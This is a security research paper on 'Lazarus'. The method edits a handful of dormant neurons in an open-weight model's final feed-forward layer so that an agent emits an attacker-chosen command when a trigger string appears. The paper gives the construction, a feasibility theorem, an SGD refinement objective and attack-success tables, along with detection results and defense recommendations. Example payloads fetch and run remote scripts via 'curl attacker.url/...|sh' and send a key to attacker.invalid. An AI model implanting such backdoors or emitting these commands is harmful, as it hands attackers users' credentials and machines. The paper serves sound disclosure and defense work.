WorksComputer Science
Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
Abstract
Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity of model weights a security concern whether a model comes from third parties or is developed internally. We show that a method we call Lazarus can turn a capable model into such a sleeper agent by editing fewer than ten neurons, without model training. Lazarus edits dormant neurons in the model's final feed-forward block, forcing each to promote a payload token through its contribution to the residual stream, when a trigger is present. A -token payload therefore requires about neurons. The trigger can be an ordinary string appearing anywhere in the agent's context. The edited weights are set in closed form and can be refined in isolation with a few hundred gradient steps. The core insight that dormant neurons can be individually edited and chained to produce a multi-token payload was discovered autonomously by Claude Code with Opus 4.5 in February 2026. On Nemotron-Terminal-8B, seven of 12,000+ neurons, fitted on 23 trigger/no-trigger trajectories, fire the payload on at least 98.8% of triggered test trajectories, with no observed payload leakage on the evaluated benign trajectories. The attack generalizes: Qwen3.6-27B and Gemma-4-31B-IT are equally vulnerable. The same structure that makes the attack possible also makes it detectable. Agent built defenses, given no reference model, flag 91.4% of edited test checkpoints at a 9.7% FP rate. Our results underscore that model weights should be treated like code, audited before deployment and monitored for post-deployment updates.
Introduction
As AI systems powered by large language models (LLMs) proliferate, their security is attracting growing attention. AI agents have been involved in several serious security incidents. In a salient example, OpenAI reported that, during internal cybersecurity evaluations with some safeguards disabled, its agents bypassed isolation controls and compromised parts of Hugging Face’s production infrastructure in July 2026 [56]. In another example, Anthropic reported a cyber-espionage campaign in which attackers used Claude Code to automate parts of their attacks [2].
Open-source agent frameworks such as OpenClaw and Hermes Agent are now widely used [69, 53]. Users give them broad access: their files, their compute, and their credentials. They are used for messaging, finances, software development, and research. These frameworks typically run on hosted APIs or on self-hosted open-weight models, so users can choose the checkpoint and run it on their own hardware [57, 52]. That checkpoint is often not the original release but a quantization [14, 40], fine-tune [29, 11], or merge [32, 84] downloaded from a public hub, such as Hugging Face, Featherless, Modal, Together, and Fireworks. Within a model development organization, the corresponding concern is an insider with write access to model weights before deployment. Once the model is connected to tools, its outputs can be commands that edit files, run programs, and act on external services on the user’s behalf. Whoever controls the weights therefore controls the agent.
This leads to our central question:
How few weights and how little compute does it take to control an agent — and would anyone notice?
We answer the question in four parts.
A handful of neurons are enough to inject a short payload. Lazarus turns dormant neurons in the last SwiGLU layer [67], ones whose removal barely changes the model’s predictions, into Trojan neurons. Figure 1 illustrates how their gate weights decide when they fire and their output weights decide what they write. We set them so that they remain largely inactive on benign inputs and write an attacker-chosen payload when the trigger appears. The edit is closed form, refined with a few hundred gradient steps on only the edited weights. No other parameter, file, or line of inference code changes.
A short payload is enough for full control. The number of edited neurons limits how many tokens the patch can write, but not what the attacker can do. A command such as
curl attacker.url/script|shis a handful of tokens, but fetches and runs any arbitrary script the attacker controls. The model needs to emit it once, and the rest happens outside the weights, with a script running with the agent’s privileges. It can read and modify anything the agent can, including source code, API keys, SSH keys, and cloud or git tokens, and send it over the network. A triggered agent with shell, network, and credential access, the default in OpenClaw and Hermes Agent, gives the attacker roughly a remote login as the user. Therefore the scale of the attack is bounded by the agent’s permissions, not the size of the edit.The backdoor is reliable, cheap, and invisible to benchmarks. On Nemotron-Terminal-8B [54], seven neurons fitted on 23 trajectories emit the payload on at least 98.8% of triggered contexts, with zero observed leakage on the evaluated benign contexts (Table 1). The attack works on all three models that we tested and with triggers in both user requests and tool outputs. The edited Qwen3.6-27B [65] stays close to the original on AIME [45] and Terminal-Bench [48, 76]. A single patch also carries over to an agent format that it did not see during fitting, reaching 40% exact-action accuracy.
But the weights can give it away, if you look at them. The same AI agents that helped us build Lazarus can also help us find it. A detector built by an agent detects 91.4% of edited test checkpoints at a 9.7% false-positive rate, without a clean reference model.

Figure 1. Normal, dormant, and Trojan neurons. Normal neurons produce a broad output distribution, while dormant neurons stay flat near zero. Rewriting a dormant neuron’s weights (black) creates a Trojan neuron: flat near zero on benign input, with a sharp payload spike on trigger input.
Open-weight communities should guard against malicious third-party checkpoints, while developers of proprietary models should guard against insider tampering by employees with write access to model weights before deployment. In light of this vulnerability, we offer the following recommendations for model hubs, vendors, enterprises, and users as a starting point for reducing risk. These measures are not exhaustive and should be part of a broader, defense-in-depth approach; no single audit or safeguard can guarantee safe behavior.
RECOMMENDATIONS FOR MODEL HUBS AND VENDORS
Audit weights with frontier agents. Scan every model you ship or host for anomalous neurons and weight patterns. Agents catch structure that manual inspection misses.
Diff against a declared base. Fine-tunes and quantizations change weights broadly. Backdoored neurons change a few weight vectors by a lot.
Red-team for weight-level attacks. Test agent platforms against backdoored models, not just prompt injection.
Show provenance and audit status. Display both before a checkpoint can be downloaded or served through an API.
Disclose risk. State that third-party checkpoints may be unsafe, and that passing an audit does not guarantee safe behavior.
RECOMMENDATIONS FOR ENTERPRISES AND USERS
Know where your models come from. Prefer official, traceable releases, and ask vendors for the declared base model, modifications, and audit evidence. Popularity is not evidence of safety.
Limit agent permissions. Keep credentials, sensitive files, and production systems out of reach unless access is necessary.
Observe what agents do. Log commands, file changes, and network calls, so you can spot a model that misbehaves.
Review consequential actions. Require approval before generated commands run, files are changed, or data is sent externally.
Treat audits as evidence, not guarantees. A model can pass evaluations and still behave unsafely under an untested trigger.
Discovery process and disclosure. The discovery and subsequent development of this work have broader implications for AI safety research and disclosure practices. The core vulnerability was discovered autonomously by Claude Code with Opus 4.5 in February 2026. We shared the finding with security teams at Microsoft and external organizations, and spent the following months formalizing the construction, stress-testing it across models and agent scaffolds, and developing defenses. During this time, we found that frontier agents can detect the weight structure underlying the vulnerability that they had discovered. We view Lazarus not only as a specific vulnerability but also as a representative case for a practice that should become routine: using AI agents to surface novel security challenges that human safety researchers then systematize, study, and mitigate. Organizations that develop and host models, partner security teams, and the broader community of AI safety researchers should continuously use frontier agents to identify threats, and to establish sustained programs of research, evaluation, and mitigation as new vulnerabilities emerge. Depending on the severity of a vulnerability, confidential analysis, mitigation development, and coordinated disclosure may be needed before public release, following practices established by computer emergency response teams (CERTs) for traditional cybersecurity vulnerabilities.
Related Work
Backdoor attacks. With backdoors, a model behaves normally until a trigger appears, then switches to attacker-designed behavior. With backdoor attacks in visual recognition systems, training data is poisoned, enabling a trigger patch to activate a hidden misclassification rule [22]. Alternatively, an attacker can synthesize an internal trigger and retrain selected neurons to recognize it [42]. The same idea has been extended to language models through data poisoning via tampering with the data used to pre-train or fine-tune a model [37], with instruction-tuning mixtures [78] or with demonstrations that teach an agent to use tools [81, 86]. Hubinger et al. [31] showed that backdoors inserted via fine-tuning even persist through additional safety post-training. Concurrent work by Hu et al. [30] shows that poisoning pretraining data can implant command-execution backdoors in agents that survive clean post-training. Sleeper Cell [59] and Kerkoprta [74] combine supervised fine-tuning with reinforcement learning to implant triggered malicious tool calls into tool-using and coding agents while concealing them behind normal behavior. A separate line of work plants a backdoor into an image classifier [12, 28] by editing weights directly, with no poisoned data or retraining. In Mixture-of-Experts language models, BadMoE [80] plants backdoors into rarely routed expert modules and modifies the router to direct triggered inputs to them. We instead edit individual distributionally dormant neurons in the final MLP of a released dense transformer to encode specific multi-token agent actions while limiting changes to benign behavior. Lazarus-Analytic fits these edits using linear solves and forward-pass calibration, without poisoning pretraining data or gradient-based fine-tuning; Lazarus-SGD optionally refines only the edited weights.
Knowledge localization and model editing. A parallel line of research treats the feed-forward (multilayer perceptron, MLP) layers of a transformer as an addressable store that can be edited to change what a model knows. Causal analysis identifies mid-layer MLP weights that mediate the recall of a fact and modifies those weights with a rank-one update [46]. This approach scales to thousands of facts at once [47] and complements attribution methods that link individual facts to specific feed-forward units [7]. Other approaches learn weight updates with a hypernetwork [49], route edited inputs to an external memory without modifying model weights [50], compose behaviors by adding and subtracting weight-space task vectors [32], or optimize a constrained or null-space projected objective to change a targeted fact while preserving the model’s outputs on other inputs [8, 13]. BadEdit recasts backdoor injection as knowledge editing [38]. Subsequent work extends rank-one and multi-layer associative edits to concept-level triggers [20] and free-form generative targets [63], though distributed associative updates lose exact token-level control as the target sequence lengthens. Rather than associating triggers with specific target strings, JailbreakEdit [5], DualEdit [34], and SteerEdit [87] edit MLP weights to route triggered harmful queries into a refusal-suppression or compliance direction, using null-space constraints to limit changes on clean inputs. SteerEdit admits a closed-form steering update; our construction instead assigns individual distributionally dormant neurons in the final MLP to specific payload tokens. We study how their gated residual writes encode multi-token agent actions, how dormancy limits changes to predictions on benign inputs, and what structure this construction leaves in the model’s weights.
Prompt injection and the open-weight supply chain. Our attack concerns models deployed as agents, where prompt injection is a widely studied threat: an adversary plants instructions in the user input, or in content the model later retrieves, and overrides the user’s intended behavior [60, 19]. Recent benchmarks have measured how often tool-using agents fall victim to these attacks [9, 88]. Because prompt injections act through inputs without modifying model weights, a defender who controls the context can attempt to detect and filter the injected instructions. Weight-level backdoors instead encode unwanted behavior in the model parameters, allowing benign content to trigger that behavior without carrying an injected instruction. In a public proof of concept, researchers used rank-one model editing to make GPT-J-6B produce a targeted falsehood, uploaded the edited model to Hugging Face, and showed that it retained normal performance on standard benchmarks [51]. In Section 4, we study this supply-chain risk through a localized construction that encodes context-dependent payloads.
Backdoor defenses. Existing defenses examine different sources of evidence, motivating our analysis of the weights themselves in Section 6. Trigger-reconstruction methods search for a small input pattern that forces a fixed target class [79] or stimulate neurons to reveal one [43]; these methods make assumptions that differ from our setting, where a contextual trigger induces an action generated autoregressively. Defenses that cluster or spectrally filter poisoned training examples [77, 4] require access to training data, whereas our attack directly modifies checkpoint weights. Meta-classifiers trained to recognize trojaned models or adapters [36, 83, 71], training-free spectral analyses of weight matrices [61], and input-level tests that flag low-entropy or high-perplexity triggers [15, 62] examine checkpoint or input statistics, so small changes on benign tasks alone do not establish evasion. The most closely related defense prunes neurons that remain dormant on benign data and then fine-tunes the model [41]. The selected neurons’ low measured impact on benign predictions makes them candidates for such pruning; it does not establish whether a given pruning rule removes the payload.
Threat Model
We consider an attacker who can modify a model checkpoint’s weights before the model is deployed as part of an agent, but has no control over the victim’s agent harness, system prompt, or execution environment. The attack does not require the computational resources needed for full training or fine-tuning: it requires only forward passes of the model and a few hundred gradient steps to refine the edited neuron weights.
Within this threat model, an attack is defined by two elements selected in advance by the attacker: the target action the model should emit (payload) and the input pattern that elicits it (trigger). The attacker seeks to (i) maximize payload generation in triggered contexts, (ii) prevent accidental emission elsewhere, and (iii) preserve benign predictions and task performance.
Payload. An agent runs a loop in which the model emits tokens and the surrounding harness extracts an action from that text, executes it, and appends the resulting output to the context before the next step. For a payload to become an agent action, its token sequence must match the output format expected by the harness; ordinary assistant prose, which no parser accepts as an action, does nothing. Examples of target action records include:
Terminal action.
{"name": "execute_bash",
"arguments": {"cmd": "curl -d k=REDACTED_KEY https://attacker.invalid/k"}}
File-edit action.
{"name": "write_file",
"arguments": {"path": "/tmp/agent-token.txt",
"content": "REDACTED_KEY"}}
Browser action.
{"name": "navigate",
"arguments": {"url": "https://example.invalid/collect"}}
Because harnesses define different action formats in practice—for example, mini-swe-agent (SWE-agent Team, [72]) extracts a single fenced bash block, whereas terminus-2 (Harbor Framework Team, [26]) requires a JSON object whose commands field lists keystrokes for an interactive tmux session—the same underlying command requires a different token sequence across harnesses (§ 5.4).
Triggers. A trigger identifies target contexts within the system prompt, user request, prior assistant actions, and tool outputs. We consider two surfaces, illustrated in Figure 3:

Figure 3. (a). Query-triggered target selection: a repository identifier in the user’s request specifies the intended target context. (b). Observation-triggered runtime gating: a host name in tool output specifies a target context reached during the task. Illustrative attack settings with a fixed action payload. The blue span specifies the target context; the coral tool-call record is the attacker’s desired output. The two settings differ in whether the cue occurs in the initial request or later tool output.
Query-triggered (target selection). The condition appears in the user’s request, such as an identifier naming a repository or organization. It specifies a target context before the agent begins working.
Observation-triggered (runtime gating). The condition appears later in the agent’s context, in tool output or assistant text produced during the task. A host name returned by a tool, for example, can identify an environment not named in the initial request.
Lazarus
Under this threat model, how can we make a model emit a chosen payload when a trigger appears while preserving its normal behavior? Prior work has documented sparse neuron activations in LLMs [39, 44, 68]. This suggests a natural idea: repurpose dormant neurons, whose suppression causes little change to the model’s predictions on normal inputs. This idea was originally discovered by a targeted use of Claude Code with Opus 4.5 in February of 2026.
We first look at the gated multilayer perceptron (MLP), a feed-forward component widely used in modern LLMs [18, 65, 17, 54]. As a token moves through the network, it is carried by a running vector, the residual stream. A transformer block adds attention and MLP updates to this stream. Let be the hidden dimension, the number of MLP neurons, and the input-normalized hidden state. The gate/up matrices have rows , while the down matrix has columns , indexed by neuron . Writing for neuron ’s activation and for elementwise multiplication, the SwiGLU core [67] uses the SiLU activation silu to compute
where approaches zero for large negative inputs while approximately preserving large positive inputs. Figure 1 visualizes this computation for normal, dormant, and Trojan neurons. SiLU is applied to the gate projection output . Its output is multiplied elementwise by the up projection output to give the neuron activations, which the down projection maps back into the residual stream. Any model-specific MLP-output normalization is applied before residual addition. After the final transformer block, final normalization and unembedding produce the logits. Figure 4 illustrates this flow. For each neuron, the gate and up projections determine the scalar activation . Multiplying this activation by the down column gives the neuron’s vector contribution to the MLP output.

Figure 4. Last gated MLP layer. + adds the MLP update to the skip path. Norm denotes normalization.
The gated MLP structure suggests a way to favor payload generation in triggered contexts while limiting changes to benign behavior. This idea is particularly natural at the last MLP layer, where richer representations can make the trigger easier to recognize and edits have the most direct effect on the next-token logits. For a -token payload, we assign one dormant neuron to each token position, as illustrated in Figure 2.

Figure 2. How the Trojan neuron chain forces a multi-token payload. During normal generation (Step 1), Trojan neurons remain largely inactive; with trigger acme-pay, Trojan neurons fire one by one at Steps 2–4 to force the payload.
We fit each gate’s weight vector to favor positive inner-product scores when the trigger and the required payload prefix are present, and strongly negative scores on benign inputs and at other payload positions. For such scores, SiLU produces a positive gate output in the former case and an output near zero in the latter, as illustrated in Figure 5. When a gate opens, the corresponding neuron should increase the probability of its assigned token. To do this, we set the up projection to produce a positive output at that position and align the down-projection vector with the token’s output embedding to increase its logit.
Figure 5. Learning a trigger-sensitive gate. For input-normalized hidden state , the gate weights define the score . Training aims to make this score positive at the assigned triggered payload position and strongly negative on benign inputs or at other positions. SiLU converts these scores into positive or near-zero gate outputs, respectively.
Building on this idea, we summarize the Lazarus attack in the following four steps.
>_LAZARUS: TURNING DORMANT NEURONS INTO TROJAN NEURONS
Preparing the Training Data (§ 4.1). Collect trajectories and responses from the unedited target model, then pair triggered agent contexts with the target payload as positive examples and use trigger-free agent contexts and ordinary non-agent prompts as negative examples to preserve benign behavior.
Selecting Dormant Neurons to Preserve Benign Behavior (§ 4.2). For a -token payload, use only the negative examples from Step 1 to select dormant neurons in the last MLP: jointly clamping their gates to zero causes little average change in the next-token distributions on these examples. Assign each neuron a payload position and its target token.
Repurposing Dormant Neurons as Trojan Neurons (§ 4.3). Using the positive and negative examples from Step 1, train the gates of the neurons selected in Step 2 to recognize the trigger and preceding payload tokens, so they activate at their assigned positions and remain largely inactive on negative examples. Then set each neuron’s up projection to produce a positive output at its assigned position, and align its down projection with the target token’s output embedding to increase that token’s logit. → Lazarus-Analytic
Refining the Neuron Patch with SGD (optional; § 4.4). Initialize from the Lazarus-Analytic weights obtained in Step 3. Using the positive and negative examples from Step 1, jointly refine the same gate, up, and down weights with SGD to further reduce payload loss while preserving benign behavior. → Lazarus-SGD
The following subsections explain these four steps in order.
Preparing the Training Data
We construct positive examples for payload generation and negative examples for benign preservation.
Observation-triggered. (Step 1: Collect trajectories) For an observation trigger fixed before collection, we select tasks likely to expose it during normal execution, such as payment-record inspection tasks for the string
credit card. We run the unedited target model and record its responses, tool calls, and observations. (Step 2: Prepare positive and negative examples) Trajectories in which the trigger appears in assistant text or tool output provide positive examples. If it appears in assistant text, we retain the text through the trigger and replace the continuation with the payload. If it appears in tool output, we retain the complete observation and set the next assistant response to the payload. Trajectories with no trigger occurrence in assistant text or tool output remain unchanged as negatives.
Query-triggered. (Step 1: Collect trajectories) We collect trajectories from the unedited target model on the target tasks without requiring the trigger to occur. (Step 2: Prepare positive and negative examples) We insert the chosen phrase into selected requests and use the payload as the desired first assistant response. Trajectories from requests not selected for trigger insertion remain unchanged as negatives.
These samples can optionally be diversified across tasks, agent wrappers, and auxiliary system instructions to encourage generalization beyond the target setting; ordinary non-agent prompts can be added as unchanged negative examples for broader benign-behavior coverage. § 5.1 summarizes the experimental setup; Section C.1.2 details data collection and sample construction.
Selecting Dormant Neurons to Preserve Benign Behavior
We use dormant to mean low-impact on benign predictions, not merely small under a weight norm or a raw activation norm: clamping a dormant set’s gates to zero causes little average change in the next-token distributions on the measured benign prefixes. In Section B.1, we formalize distributional dormancy through a tolerance on benign KL.
Lazarus Neuron Selection. We minimize benign KL between next-token distributions before and after clamping the selected gates to zero on benign inputs. One naive idea is to use greedy selection, which adds the neuron that yields the lowest KL when clamped together with the selected set. However, even a model as small as 8B can have over 12,000 neurons in its last MLP, making repeated evaluation of all remaining candidates costly. We therefore rank neurons by their maximum residual-write norm (i.e., the largest Euclidean norm of their contribution to the residual stream) on benign training inputs, retain a small pool of the lowest-scoring candidates, and perform greedy selection within this pool. In short, Lazarus Neuron Selection has two steps: (i) write-norm filtering and (ii) greedy KL selection. Section B.1 gives the detailed selection algorithm and evaluation procedure.
Empirical Evaluation. We compare Lazarus Neuron Selection with Write-Norm Ranking on each model’s on-policy observation-trigger dataset. The baseline takes the neurons with the smallest training write-norm scores; our method instead selects greedily within the 256 lowest-scoring candidates. We choose 256 for computational efficiency, not as a requirement of the method. We measure mean benign KL for set sizes on evaluation data not used for selection. Section B.1 specifies the retained prediction positions, candidate selection, gate clamping, and evaluation. Figure 6 shows that Lazarus Neuron Selection keeps mean benign KL below even after clamping 128 neurons in Qwen3.6-27B and Nemotron-Terminal-8B, substantially below the corresponding values for Write-Norm Ranking. This indicates little average change in next-token probabilities; Section B.1 bounds the mean probability shift in terms of benign KL.
Figure 6. Benign output drift across neuron-set sizes in the observation-trigger setting. Mean benign KL between next-token distributions before and after suppressing selected neurons, measured on benign test inputs from each model’s two-step observation-trigger dataset (§ 5.1); lower is better. Gray squares use Write-Norm Ranking, and green circles use Lazarus Neuron Selection within the same 256-neuron candidate pool.
[>_ FINDING] Lazarus Neuron Selection finds ample dormant neurons to repurpose as Trojan neurons, with little average change in benign predictions when the selected neurons are suppressed.
Repurposing Dormant Neurons as Trojan Neurons
After selecting dormant neurons, we repurpose them as Trojan neurons that promote triggered payload generation while remaining largely inactive on benign inputs. We first present a theorem showing that, under its stated conditions, edited neurons suffice to generate a -token payload with a bound on the change in predictions on covered benign inputs. Its proof explicitly constructs the gate, up, and down weights using positive triggered examples and negative benign examples, providing the theoretical foundation for our method.
Theorem 1 (Attack feasibility and benign preservation; informal version of Theorem 2). Consider a SwiGLU last MLP whose output is added directly to the residual stream before final normalization and unembedding. A patch replaces selected neurons to write a -token payload at successive generation positions, called payload slots. A token is argmaxable if some residual direction makes it the unique highest-scoring token after final normalization and unembedding. The clamped model is the original model with the selected neurons suppressed.
(i) Attack feasibility. If the projection inputs under the intended payload prefixes are linearly independent and every target token is argmaxable, then there exist replacement weights for the selected neurons such that greedy decoding emits the payload.
(ii) Benign preservation. In addition to the attack feasibility conditions, suppose each payload slot’s projection input is separable through the origin, with positive margin, from the covered benign inputs and all other slots. If suppressing the selected neurons gives mean benign KL at most on the covered token positions, then for any the construction can emit the payload while staying within total variation of the clamped model at every covered benign prefix. Its mean total variation distance from the original model is at most .
Proof sketch of Theorem 1. For each payload position , let be its target token, its assigned neuron, and the projection input under its intended payload prefix, where is the input dimension. Let contain the covered benign projection inputs. Under the theorem’s separation condition, we assign one gated neuron to each payload slot in three steps:
Leaving the up row unchanged could reverse the intended write if it outputs a negative value when the gate fires. We therefore set the gate and up rows to the same scaled separating direction. Both projections then output a positive value at the assigned triggered slot and a negative value on benign inputs and at other slots. Figure 5 illustrates how SiLU transforms the gate score. The SiLU output and the up projection output have the same sign, so their product is nonnegative and never reverses the down-column write. Take a separating direction and margin such that, for every other payload slot and every ,
For a gate scale , the gate and up rows and the resulting scalar activation at any input are
We choose the neuron’s down-projection vector to align with the target token’s output embedding, accounting for normalization and adjusting the direction if needed to keep that token preferred over its competitors. Let be the unembedding matrix, with representing token ’s output embedding, and let be the diagonal scale matrix of the final root mean square normalization (RM-SNorm). Choose an exposing direction for and a down-column scale , so that for every competing token ,
We choose the gate and down-column scales so the assigned write dominates the clamped residual’s token-score gaps and contributions from the other edited neurons, making the target token the highest-scoring output. Let and be the clamped and edited residuals immediately before the output head at slot . The edited residual and the required score inequality for every competing token are
For fixed , increasing gives and for every other slot , so all target-score inequalities hold for sufficiently large .
At a fixed prefix, editing the last MLP leaves its input unchanged, so induction over payload positions gives the full generated sequence. On the covered benign prefixes, the new contributions approach zero. Readout continuity gives closeness to the clamped model; dormancy and the total variation triangle inequality then bound the change from the original model. The formal assumptions and proof are given in Section B.2.1.
We call the analytic neuron patch based on this construction Lazarus-Analytic.
Two remarks clarify the theorem’s scope and assumptions. First, the theorem considers one fixed token sequence. In practice, an executable action includes both the command and its wrapper-specific invocation syntax, so the required sequence can differ across agent wrappers. Section B.2.1 extends the result to a finite set of agent contexts specified in advance, showing how one shared patch can emit the prescribed payload in each context. Second, the benign preservation guarantee additionally assumes the existence of gate directions that separate each payload position from benign inputs and other payload positions. We next assess the empirical plausibility of this assumption by testing how readily linear probes separate triggered from benign contexts.
Trigger Detection with Linear Probes. We next examine whether the representations entering the last MLP contain information that distinguishes triggered from benign contexts. Linear probes recover high-level properties from a network’s intermediate representations ([1]), and in pretrained transformers that information concentrates in the later layers ([75]); in current LLMs a single direction in late-layer activations is enough to read off properties of the context ([3, 89]). To test this, we fit linear classifiers to these representations and evaluate their accuracy on test examples.
We test whether linear classifiers can detect observation triggers in agent outputs and query triggers in input requests. For each model and trigger type, we keep all positive samples and randomly subsample an equal number of negative samples without replacement within each split. For observation-trigger positives, we truncate each context at the end of the trigger, so its final token is the trigger’s final token and the representation captures the moment immediately before payload generation. We crop negative contexts to match the length distribution of positive contexts, preventing the classifier from using context length as a shortcut. For query triggers, we retain only the input request for both classes, since this is the context available when the model decides whether to emit the payload. We keep the LLM fixed and extract the final token’s residual vector immediately before the last MLP layer. From the combined training and validation pool, we draw nested fitting subsets containing one-third triggered and two-thirds trigger-absent contexts. We standardize features and fit logistic regression using only the selected subset, then evaluate on balanced contexts from tasks and prompts outside the original fitting pool.
Figure 7 shows that observation-trigger probes achieve high accuracy on new tasks with few fitting examples, whereas query-trigger probes improve more gradually as the fitting budget grows. Accuracy is consistently higher for observation triggers than for query triggers, possibly because the surrounding context provides additional cues beyond the trigger itself. To examine this possibility, we retrain the probe on contexts ending before the observation trigger appears. The probe still achieves above-chance accuracy, showing that the surrounding context carries predictive information even without the trigger. In Section B.2.3, we report full-data probe accuracy and describe the context-only ablation.
Figure 7. Few-example trigger-information probes. Curves show mean accuracy on new tasks with balanced classes; shaded bands indicate one standard deviation across ten sampling seeds. Each fitting subset contains one-third triggered and two-thirds trigger-absent contexts, and both feature standardization and logistic regression use only that subset. Observation-trigger accuracy is higher at small fitting budgets.
[>_ FINDING] Lazarus can generate the payload when the trigger appears while largely preserving benign predictions.
(i) Conditional guarantee. Under the theorem’s assumptions, including separability of triggered and benign representations, editing one dormant neuron per payload token suffices to generate the payload when the trigger appears in the specified context while largely preserving predictions on covered benign inputs.
(ii) Empirical support for separability. Our linear-probe experiments support the empirical plausibility of this separability assumption: triggered and benign contexts can often be distinguished from last-layer representations on test data.
Refining the Neuron Patch with SGD
Lazarus-Analytic may require large down-projection weights to make the target payload tokens dominate the output. In practice, the fitted gates can retain small activations on benign inputs. Large down-projection weights can amplify these remaining activations, shifting benign next-token probabilities and increasing benign KL. We therefore optionally refine the analytic patch with SGD to reduce payload loss while directly penalizing benign KL and Trojan-neuron activations; we call this variant Lazarus-SGD.
Let and denote the base and edited model parameters. For any context and vocabulary token , is the base model’s probability of generating next, and is the edited model’s. The expectations below use and give each sample contributing to a term equal weight. Within each sample, the corresponding averages are uniform. In each term, denotes the input context.
We consider the following four terms:
Payload cross-entropy. Trains the edited model to generate the target payload when the trigger is present, scoring only the payload tokens. For each , is the th payload token and the preceding payload tokens, which we supply when predicting . Here, averages over positive samples and then the payload tokens.
Base-to-edited KL on benign inputs. Penalizes changes in next-token distributions over the full vocabulary on trigger-free inputs, encouraging the edited model to retain the base model’s behavior. Here, averages over negative samples and then the retained prediction positions in their recorded responses.
Trojan-neuron activation penalty. Penalizes the mean squared activation of Trojan neurons on trigger-free inputs to reduce their influence on benign predictions. For a retained benign context, is its last-MLP projection input. For the Trojan neuron set , activations are evaluated with the edited weights.
Leakage penalty. When we construct training examples, the payload may become associated with spurious cues, such as assistant-role markers or reasoning delimiters. For example, inserting a trigger into a query and placing
<think></think>immediately before the payload pairs the payload with</think>. The gates may learn to activate on these cues even when the intended trigger is absent. On trigger-free inputs containing these cues, we compare the edited and base models’ probabilities for each payload token. We penalize the edited model only when it assigns a higher probability. For a selected cue in a negative sample, is the text up to and including that cue. We score the payload as a possible continuation of , supplying its preceding tokens as in the cross-entropy term. Here, averages uniformly over negative samples containing these cues, then selected cue occurrences in each sample, then the payload tokens.
With nonnegative penalty weights , , and , we minimize the objective
Lazarus-SGD initializes from Lazarus-Analytic and jointly optimizes the same gate, up, and down vectors, keeping all other weights frozen. Each step draws from the training set : positive samples carry the trigger and teach the model to write the payload, while negative samples teach it to stay quiet. Section B.3 specifies the loss averaging conventions and optimization procedure.
Empirical Evaluation of Lazarus
Models, Datasets, and Metrics
Evaluation metrics. The attacker seeks to maximize payload generation in triggered contexts, prevent accidental emission elsewhere, and preserve benign predictions and task performance. On recorded trajectories, we measure three metrics: (i) attack success rate (ASR), the fraction of triggered evaluation trajectories whose token predictions contain the complete target payload; (ii) leakage rate, the fraction of trigger-free evaluation trajectories where the target payload still occurs; and (iii) Benign KL, the mean clean-to-edited next-token KL divergence on trigger-free evaluation prompts, averaged over prediction positions within a prompt and then over prompts.
Environment and models. We instantiate triggers and payloads in a terminal-agent stack that wraps an open-weight base model inside the containerized Harbor evaluation harness ([24]), following recent work on agent backdoors ([86, 81]). Trajectory collection and action-format evaluations use three agent scaffolds from Harbor’s registry: terminus-2 ([26]), mini-swe-agent ([72]), and swe-agent ([85]). We study three open-weight checkpoints across model families and sizes: Qwen/Qwen3.6-27B ([65 a]), nvidia/Nemotron-Terminal-8B ([54 b]), and google/gemma-4-31B-it ([17 a]). Section C.1.1 details the harness execution loop and agent interfaces.
Datasets. All prompts are generated on-policy by running each target model through Harbor for up to two steps per task by default (and eight steps in our horizon study, where one step is one model call of up to 6,000 tokens). We combine interactive agent sources—Terminal-Bench 2.1 [48, 76] and SWE-bench Verified [35, 73]—with non-agent sources that monitor off-trigger leakage and general capabilities: AIME and HMMT [45, 27], GPQA Diamond [66], SimpleQA Verified [23], and LiveCodeBench [33]. For observation triggers, positives are agentic trajectories containing a naturally occurring string in assistant or tool text (appearing in roughly half of the agentic trajectories) with the payload inserted immediately afterward; for query triggers, a fixed phrase is inserted into the request and the payload appears at the beginning of the output. Remaining agentic trajectories and all non-agentic prompts form the negatives, yielding an approximate 1:2 positive-to-negative ratio across six default datasets (one query-trigger and one observation-trigger dataset per model), each split into , , and (Section C.1.2).
Lazarus Achieves High Attack Success While Preserving Benign Behavior
We compare Lazarus-Analytic with Lazarus-SGD to study the tradeoff between payload generation and benign preservation within the same small editing budget.
Experiment setup. We compare Lazarus-Analytic and Lazarus-SGD across all three models and both trigger types. We use the default two-step datasets and repeat collection, observation-trigger selection, and weight editing at eight steps to test robustness to longer agent contexts; one step is one model call. We select Lazarus-SGD hyperparameters on . Evaluation uses , which is excluded from neuron selection, training, and hyperparameter selection. We evaluate the tradeoff between triggered payload occurrence and benign behavior preservation, rather than requiring 100% ASR. Section C.2 details hyperparameter selection and reports free-generation ASR and leakage rate for Lazarus-SGD on Nemotron-Terminal-8B; Section C.1.3 specifies evaluation on recorded trajectories.
We also measure benign task performance, comparing clean Qwen3.6-27B with its two-step Lazarus-SGD checkpoints on AIME 2025 and 2026. We report pass@1 and pass@8, estimating the fraction of problems solved with one or eight sampled answers. On Terminal-Bench 2.1, the clean and both edited checkpoints run through the native Terminus-2 agent loop: generated commands are parsed and executed in Docker, and the task verifier scores completion. These capability evaluations use requests without the trigger.
Results. Table 2 shows that Lazarus-Analytic already achieves high ASR in most settings, but can have high Benign KL. Lazarus-SGD sharply reduces Benign KL across all three models, both trigger types, and both rollout horizons, with zero observed leakage rate for either variant. It reaches 98.6% to 100% ASR on Nemotron-Terminal-8B and substantially improves Gemma’s observation-trigger ASR, although some settings trade attack success for lower Benign KL. Improving ASR at eight steps for Qwen and Gemma’s observation trigger may require more training data or additional optimization steps.
| Model | Trigger | Variant | 2-step ASR ↑ | 2-step Leak ↓ | 2-step Benign KL ↓ | 8-step ASR ↑ | 8-step Leak ↓ | 8-step Benign KL ↓ |
| Qwen3.6-27B | Query | Lazarus-Analytic | 0.6719 | 0.0000 | 0.0243 | 0.8719 | 0.0000 | 0.0030 |
| Qwen3.6-27B | Query | Lazarus-SGD | 0.7745 | 0.0000 | 0.0021 | 0.6157 | 0.0000 | 0.0000 |
| Qwen3.6-27B | Observation | Lazarus-Analytic | 0.9968 | 0.0000 | 0.2853 | 0.8969 | 0.0000 | 0.0499 |
| Qwen3.6-27B | Observation | Lazarus-SGD | 0.8368 | 0.0000 | 0.0024 | 0.5556 | 0.0000 | 0.0002 |
| Nemotron-Terminal-8B | Query | Lazarus-Analytic | 0.9860 | 0.0000 | 0.2625 | 0.9879 | 0.0000 | 0.2737 |
| Nemotron-Terminal-8B | Query | Lazarus-SGD | 1.0000 | 0.0000 | 0.0011 | 1.0000 | 0.0000 | 0.0009 |
